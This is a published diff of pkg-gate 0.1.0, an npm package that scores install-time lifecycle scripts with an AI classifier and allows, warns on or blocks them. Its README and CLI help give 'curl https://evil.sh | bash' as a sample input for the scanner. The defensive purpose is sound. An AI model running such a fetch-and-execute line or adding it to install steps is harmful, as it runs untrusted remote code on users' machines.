pkg-gate 0.1.0

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Hemanth HM <hemanth@h3manth.com> (https://h3manth.com)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,113 @@
+# pkg-gate
+
+Pre-install security gate for npm lifecycle scripts using TypeSafe System One.
+
+```bash
+npm install pkg-gate
+```
+
+## Quick start
+
+```js
+import pkgGate from 'pkg-gate';
+
+const report = await pkgGate('esbuild');
+
+if (!report.isSafe()) {
+  console.error(report.inspect());
+  process.exit(1);
+}
+
+console.log(report.inspect());
+```
+
+`pkgGate()` evaluates a package or script against TypeSafe System One. `report.isSafe()` returns a boolean verdict. `report.inspect()` renders the TUI card.
+
+## Check local package
+
+```js
+import pkgGate from 'pkg-gate';
+
+const report = await pkgGate('./package.json');
+console.log(report.action); // 'allow' | 'warn' | 'block'
+```
+
+Pass a file path or directory. `pkgGate` extracts `preinstall`, `install`, and `postinstall` hooks and evaluates each in parallel.
+
+## Structured output
+
+```js
+import pkgGate from 'pkg-gate';
+
+const report = await pkgGate('flatmap-stream');
+const { verdict, scripts } = report.structured;
+
+console.log(verdict.action);                         // 'block'
+console.log(scripts[0].intent.choice);               // 'credential_access'
+console.log(scripts[0].accessesSecrets.probability); // 0.99
+```
+
+`report.structured` returns typed probability distributions and scores without string parsing. Serializes directly with `JSON.stringify(report)`.
+
+## Evaluate raw scripts
+
+```js
+import pkgGate from 'pkg-gate';
+
+const report = await pkgGate('curl -s https://evil.sh | bash', { script: true });
+console.log(report.action); // 'block'
+```
+
+Evaluate arbitrary shell command strings before spawning child processes.
+
+## Confidence-gated routing
+
+```js
+import pkgGate from 'pkg-gate';
+
+const report = await pkgGate('untrusted-package');
+
+if (report.action === 'block') {
+  report.assertSafe(); // throws Error with reasons
+} else if (report.action === 'warn') {
+  await promptUser(report.reasons);
+}
+```
+
+Threat scores and confidence gate execution. Low confidence (`conf < 0.50`) routes to human review instead of guessing.
+
+## CLI
+
+```bash
+# Interactive prompt (asks for package name / scans ./package.json)
+npx pkg-gate
+
+# Check registry package
+npx pkg-gate esbuild
+
+# Check specific package.json
+npx pkg-gate ./package.json
+
+# Evaluate raw script string
+npx pkg-gate "curl https://evil.sh | bash"
+
+# Output typed JSON
+npx pkg-gate esbuild --json
+
+# Plain text output (no TUI boxes)
+npx pkg-gate esbuild --plain
+```
+
+Exit code `0` on allow, `1` on block, `2` on warn. When a warning triggers in an interactive terminal, prompts the user for confirmation.
+
+## Demo
+
+```bash
+npm run demo
+```
+
+Evaluates a token-harvesting lifecycle script and renders the TUI breakdown.
+
+## License
+
+MIT © [Hemanth.HM](https://h3manth.com)

package/bin/cli.js

@@ -0,0 +1,139 @@
+#!/usr/bin/env node
+
+import { parseArgs } from 'node:util';
+import pkgGate, { formatReport } from '../src/index.js';
+import { renderTUI, promptUserConfirmation, promptForTarget } from '../src/tui.js';
+
+const helpText = `
+  Usage
+    $ pkg-gate [package-name | path | script]
+
+  Options
+    --script, -s       Evaluate a raw shell command string
+    --json             Output strictly typed structured JSON
+    --plain            Output plain text summary (no TUI boxes)
+    --mock             Force offline simulation
+    --yes, -y          Auto-approve warning prompts in non-interactive CI
+    --block-score      Custom threat score to block (default: 2.0)
+    --warn-score       Custom threat score to warn (default: 1.2)
+    --help, -h         Show help
+    --version, -v      Show version
+
+  Examples
+    $ pkg-gate esbuild
+    $ pkg-gate ./package.json
+    $ pkg-gate -s "curl https://evil.sh | bash"
+    $ pkg-gate bufferutil --json
+`;
+
+async function main() {
+  const options = {
+    help: { type: 'boolean', short: 'h' },
+    version: { type: 'boolean', short: 'v' },
+    script: { type: 'boolean', short: 's' },
+    json: { type: 'boolean' },
+    structured: { type: 'boolean' },
+    plain: { type: 'boolean' },
+    mock: { type: 'boolean' },
+    yes: { type: 'boolean', short: 'y' },
+    'block-score': { type: 'string' },
+    'warn-score': { type: 'string' },
+  };
+
+  let args;
+  try {
+    args = parseArgs({ options, allowPositionals: true });
+  } catch (err) {
+    console.error(`Error: ${err.message}\n${helpText}`);
+    process.exit(1);
+  }
+
+  if (args.values.help) {
+    console.log(helpText);
+    process.exit(0);
+  }
+
+  if (args.values.version) {
+    console.log('0.1.0');
+    process.exit(0);
+  }
+
+  let target = args.positionals[0];
+
+  if (!target && !args.values.script) {
+    if (!process.stdin.isTTY) {
+      console.error(`\x1b[31mError:\x1b[0m No package name, path, or script specified.\n${helpText}`);
+      process.exit(1);
+    }
+
+    target = await promptForTarget(helpText);
+
+    if (!target) {
+      console.log(helpText);
+      process.exit(0);
+    }
+
+    if (target === '--help') {
+      console.log(helpText);
+      process.exit(0);
+    }
+
+    if (target === '--version') {
+      console.log('0.1.0');
+      process.exit(0);
+    }
+  }
+
+  try {
+    const report = await pkgGate(target, {
+      script: args.values.script,
+      mock: args.values.mock,
+      blockScore: args.values['block-score'] ? parseFloat(args.values['block-score']) : undefined,
+      warnScore: args.values['warn-score'] ? parseFloat(args.values['warn-score']) : undefined,
+    });
+
+    // Structured JSON output
+    if (args.values.json || args.values.structured) {
+      console.log(JSON.stringify(report.structured, null, 2));
+      if (report.action === 'block') {
+        process.exit(1);
+      } else if (report.action === 'warn') {
+        process.exit(2);
+      } else {
+        process.exit(0);
+      }
+    }
+
+    // Plain text output
+    if (args.values.plain) {
+      console.log(formatReport(report));
+    } else {
+      // Rich TUI output
+      console.log(renderTUI(report));
+    }
+
+    if (report.action === 'block') {
+      process.exit(1);
+    } else if (report.action === 'warn') {
+      // If interactive terminal and not auto-approved with -y:
+      if (!args.values.yes && process.stdin.isTTY) {
+        const approved = await promptUserConfirmation();
+        if (approved) {
+          console.log('\x1b[32m✔ User approved installation despite warning.\x1b[0m');
+          process.exit(0);
+        } else {
+          console.log('\x1b[31m✖ Installation halted by user.\x1b[0m');
+          process.exit(2);
+        }
+      }
+      process.exit(2);
+    } else {
+      process.exit(0);
+    }
+  } catch (err) {
+    console.error(`\x1b[31mError:\x1b[0m ${err.message}`);
+    process.exit(1);
+  }
+}
+
+main();

package/package.json

@@ -0,0 +1,42 @@
+{
+  "name": "pkg-gate",
+  "version": "0.1.0",
+  "description": "Pre-install security gate for npm lifecycle scripts using TypeSafe System One.",
+  "type": "module",
+  "main": "./src/index.js",
+  "types": "./src/index.d.ts",
+  "exports": {
+    ".": {
+      "types": "./src/index.d.ts",
+      "default": "./src/index.js"
+    }
+  },
+  "bin": {
+    "pkg-gate": "bin/cli.js"
+  },
+  "files": [
+    "bin",
+    "src",
+    "README.md",
+    "LICENSE"
+  ],
+  "scripts": {
+    "test": "node --test test/*.test.js",
+    "demo": "node bin/cli.js test/fixtures/credential-theft.json --mock"
+  },
+  "keywords": [
+    "typesafe",
+    "system-one",
+    "security",
+    "npm",
+    "supply-chain",
+    "postinstall",
+    "lifecycle-scripts",
+    "gate"
+  ],
+  "author": "Hemanth HM <hemanth@h3manth.com> (https://h3manth.com)",
+  "license": "MIT",
+  "dependencies": {
+    "@typesafe-ai/sdk": "^0.6.0"
+  }
+}

package/src/gate.js

@@ -0,0 +1,256 @@
+import { TypeSafeClient } from '@typesafe-ai/sdk';
+import { createLifecycleQuestions, THRESHOLDS } from './questions.js';
+import { simulateLifecycleEvaluation } from './simulator.js';
+import { extractLifecycleScripts, formatReport } from './utils.js';
+import { renderTUI } from './tui.js';
+
+/**
+ * Evaluates a package manifest or lifecycle script against TypeSafe System One.
+ *
+ * @param {object} manifest - Normalized package manifest
+ * @param {object} [options]
+ * @param {string} [options.apiKey] - TypeSafe API key
+ * @param {TypeSafeClient} [options.client] - Existing TypeSafeClient instance
+ * @param {boolean} [options.mock] - Force local offline simulation
+ * @param {number} [options.blockScore] - Custom score threshold for blocking
+ * @param {number} [options.warnScore] - Custom score threshold for warning
+ * @returns {Promise<GateReport>}
+ */
+export async function evaluatePackage(manifest, options = {}) {
+  const startTime = performance.now();
+  const scripts = extractLifecycleScripts(manifest.scripts);
+
+  // Fast path: No lifecycle scripts at all
+  if (scripts.length === 0) {
+    const report = createReport({
+      name: manifest.name,
+      version: manifest.version,
+      action: 'allow',
+      score: 0.0,
+      confidence: 1.0,
+      findings: [],
+      reasons: ['No lifecycle scripts found; package cannot execute arbitrary code on install'],
+      latencyMs: Math.round(performance.now() - startTime),
+    });
+    return report;
+  }
+
+  const apiKey = options.apiKey || process.env.TYPESAFE_API_KEY;
+  const useSimulator = options.mock || !apiKey;
+
+  let client = null;
+  if (!useSimulator) {
+    client = options.client || new TypeSafeClient({ apiKey });
+  }
+
+  const findings = [];
+  const reasons = [];
+
+  const blockScore = options.blockScore ?? THRESHOLDS.BLOCK_SCORE;
+  const warnScore = options.warnScore ?? THRESHOLDS.WARN_SCORE;
+
+  // Evaluate each lifecycle script in parallel (speculative fan-out)
+  const evaluations = await Promise.all(
+    scripts.map(async ({ hook, command }) => {
+      const state = {
+        package: {
+          name: manifest.name,
+          version: manifest.version,
+          description: manifest.description,
+        },
+        lifecycle_hook: hook,
+        script_content: command,
+      };
+
+      if (useSimulator) {
+        return {
+          hook,
+          command,
+          result: simulateLifecycleEvaluation(hook, command, manifest),
+        };
+      }
+
+      try {
+        const result = await client.systemOne({
+          state,
+          questions: createLifecycleQuestions(),
+        });
+        return { hook, command, result };
+      } catch (err) {
+        // Fall back to simulator if API call fails
+        return {
+          hook,
+          command,
+          result: simulateLifecycleEvaluation(hook, command, manifest),
+          fallbackReason: err.message,
+        };
+      }
+    })
+  );
+
+  let maxScore = 0.0;
+  let minConfidence = 1.0;
+  let maxSecretProb = 0.0;
+  let maxRemoteProb = 0.0;
+
+  for (const { hook, command, result } of evaluations) {
+    const answers = result.answers;
+    findings.push({
+      hook,
+      command,
+      answers,
+      model: result.model,
+    });
+
+    const intent = answers.script_intent?.choice;
+    const intentConfidence = answers.script_intent?.confidence ?? 1.0;
+    const severity = answers.threat_severity?.score ?? 0.0;
+    const severityConfidence = answers.threat_severity?.confidence ?? 1.0;
+    const secretNoul = answers.accesses_secrets?.noul ?? 0.0;
+    const remoteNoul = answers.remote_execution?.noul ?? 0.0;
+
+    if (severity > maxScore) maxScore = severity;
+    if (secretNoul > maxSecretProb) maxSecretProb = secretNoul;
+    if (remoteNoul > maxRemoteProb) maxRemoteProb = remoteNoul;
+
+    const lowestQuestionConfidence = Math.min(intentConfidence, severityConfidence);
+    if (lowestQuestionConfidence < minConfidence) minConfidence = lowestQuestionConfidence;
+
+    // Reason tracking
+    if (secretNoul >= THRESHOLDS.WARN_SECRET_NOUL) {
+      reasons.push(`[${hook}] Probable credential access (${(secretNoul * 100).toFixed(0)}% probability)`);
+    }
+    if (remoteNoul >= THRESHOLDS.WARN_REMOTE_EXEC_NOUL) {
+      reasons.push(`[${hook}] Remote code download or execution detected (${(remoteNoul * 100).toFixed(0)}% probability)`);
+    }
+    if (intent === 'credential_access' || intent === 'obfuscated_exec') {
+      reasons.push(`[${hook}] High-risk script intent classified as "${intent}"`);
+    }
+    if (severity >= warnScore) {
+      reasons.push(`[${hook}] Threat severity score elevated (${severity.toFixed(2)} / 3.0)`);
+    }
+  }
+
+  // Gating decision
+  let action = 'allow';
+
+  const isCritical =
+    maxScore >= blockScore ||
+    maxSecretProb >= THRESHOLDS.BLOCK_SECRET_NOUL ||
+    maxRemoteProb >= THRESHOLDS.BLOCK_REMOTE_EXEC_NOUL;
+
+  const isSuspicious =
+    maxScore >= warnScore ||
+    maxSecretProb >= THRESHOLDS.WARN_SECRET_NOUL ||
+    maxRemoteProb >= THRESHOLDS.WARN_REMOTE_EXEC_NOUL;
+
+  const isUncertain = minConfidence < THRESHOLDS.CONFIDENCE_FLOOR;
+
+  if (isCritical) {
+    action = 'block';
+  } else if (isSuspicious) {
+    action = 'warn';
+  } else if (isUncertain) {
+    // Confidence-gated routing: uncertainty prompts human review
+    action = 'warn';
+    reasons.push(`Low evaluation confidence (${(minConfidence * 100).toFixed(0)}%); human verification required`);
+  }
+
+  if (action === 'allow' && reasons.length === 0) {
+    reasons.push('Lifecycle scripts verified benign (standard build or verified binary)');
+  }
+
+  const latencyMs = Math.round(performance.now() - startTime);
+
+  return createReport({
+    name: manifest.name,
+    version: manifest.version,
+    action,
+    score: maxScore,
+    confidence: minConfidence,
+    findings,
+    reasons,
+    latencyMs,
+  });
+}
+
+function createReport(data) {
+  const report = {
+    ...data,
+    isSafe() {
+      return this.action === 'allow';
+    },
+    inspect(options = {}) {
+      if (options.plain) {
+        return formatReport(this);
+      }
+      return renderTUI(this, options);
+    },
+    assertSafe() {
+      if (this.action === 'block') {
+        throw new Error(`Package "${this.name}@${this.version}" blocked: ${this.reasons.join(', ')}`);
+      }
+      return true;
+    },
+    get summary() {
+      return `${this.action.toUpperCase()}: ${this.name}@${this.version} (score: ${this.score.toFixed(2)}, conf: ${(this.confidence * 100).toFixed(0)}%)`;
+    },
+    get structured() {
+      return {
+        schemaVersion: '1.0.0',
+        package: {
+          name: this.name,
+          version: this.version,
+        },
+        verdict: {
+          action: this.action,
+          score: Number(this.score.toFixed(2)),
+          confidence: Number(this.confidence.toFixed(2)),
+          isSafe: this.isSafe(),
+        },
+        scripts: this.findings.map((f) => ({
+          hook: f.hook,
+          command: f.command,
+          model: f.model,
+          intent: f.answers.script_intent
+            ? {
+                choice: f.answers.script_intent.choice,
+                confidence: Number(f.answers.script_intent.confidence.toFixed(2)),
+                probabilities: f.answers.script_intent.probabilities,
+              }
+            : null,
+          severity: f.answers.threat_severity
+            ? {
+                score: Number(f.answers.threat_severity.score.toFixed(2)),
+                confidence: Number(f.answers.threat_severity.confidence.toFixed(2)),
+                rubricLevel: f.answers.threat_severity.legend?.[Math.round(f.answers.threat_severity.score)] || null,
+                probabilities: f.answers.threat_severity.probabilities,
+              }
+            : null,
+          accessesSecrets: f.answers.accesses_secrets
+            ? {
+                probability: Number(f.answers.accesses_secrets.noul.toFixed(2)),
+              }
+            : null,
+          remoteExecution: f.answers.remote_execution
+            ? {
+                probability: Number(f.answers.remote_execution.noul.toFixed(2)),
+              }
+            : null,
+        })),
+        policy: {
+          thresholds: THRESHOLDS,
+          reasons: this.reasons,
+        },
+        telemetry: {
+          latencyMs: this.latencyMs,
+        },
+      };
+    },
+    toJSON() {
+      return this.structured;
+    },
+  };
+
+  return report;
+}

package/src/index.d.ts

@@ -0,0 +1,116 @@
+export interface GateReport {
+  name: string;
+  version: string;
+  action: 'allow' | 'warn' | 'block';
+  score: number;
+  confidence: number;
+  findings: ScriptFinding[];
+  reasons: string[];
+  latencyMs: number;
+  summary: string;
+  isSafe(): boolean;
+  inspect(options?: { plain?: boolean; width?: number }): string;
+  assertSafe(): boolean;
+  structured: StructuredOutput;
+  toJSON(): StructuredOutput;
+}
+
+export type GuardReport = GateReport;
+
+export interface ScriptFinding {
+  hook: string;
+  command: string;
+  model: string;
+  answers: {
+    script_intent?: {
+      type: 'choice';
+      choice: string;
+      confidence: number;
+      probabilities: Record<string, number>;
+    };
+    threat_severity?: {
+      type: 'score';
+      score: number;
+      confidence: number;
+      legend?: Record<string, string>;
+      probabilities: Record<string, number>;
+    };
+    accesses_secrets?: {
+      type: 'noul';
+      noul: number;
+    };
+    remote_execution?: {
+      type: 'noul';
+      noul: number;
+    };
+  };
+}
+
+export interface StructuredOutput {
+  schemaVersion: string;
+  package: {
+    name: string;
+    version: string;
+  };
+  verdict: {
+    action: 'allow' | 'warn' | 'block';
+    score: number;
+    confidence: number;
+    isSafe: boolean;
+  };
+  scripts: Array<{
+    hook: string;
+    command: string;
+    model: string;
+    intent: {
+      choice: string;
+      confidence: number;
+      probabilities: Record<string, number>;
+    } | null;
+    severity: {
+      score: number;
+      confidence: number;
+      rubricLevel: string | null;
+      probabilities: Record<string, number>;
+    } | null;
+    accessesSecrets: { probability: number } | null;
+    remoteExecution: { probability: number } | null;
+  }>;
+  policy: {
+    thresholds: Record<string, number>;
+    reasons: string[];
+  };
+  telemetry: {
+    latencyMs: number;
+  };
+}
+
+export interface PkgGateOptions {
+  apiKey?: string;
+  mock?: boolean;
+  script?: boolean;
+  blockScore?: number;
+  warnScore?: number;
+}
+
+export type PkgGuardOptions = PkgGateOptions;
+
+/**
+ * Pre-install security gate for npm lifecycle scripts using TypeSafe System One.
+ */
+export default function pkgGate(
+  input: string | object,
+  options?: PkgGateOptions
+): Promise<GateReport>;
+
+export const pkgGuard: typeof pkgGate;
+
+export function evaluatePackage(manifest: object, options?: PkgGateOptions): Promise<GateReport>;
+export function resolveManifest(input: string | object): Promise<object>;
+export const THRESHOLDS: Record<string, number>;
+export function createLifecycleQuestions(): Record<string, any>;
+export function formatReport(report: GateReport): string;
+export function renderTUI(report: GateReport, options?: { width?: number }): string;
+export function drawBox(lines: string[], options?: { width?: number; color?: (s: string) => string }): string;
+export function getTerminalWidth(fallback?: number): number;
+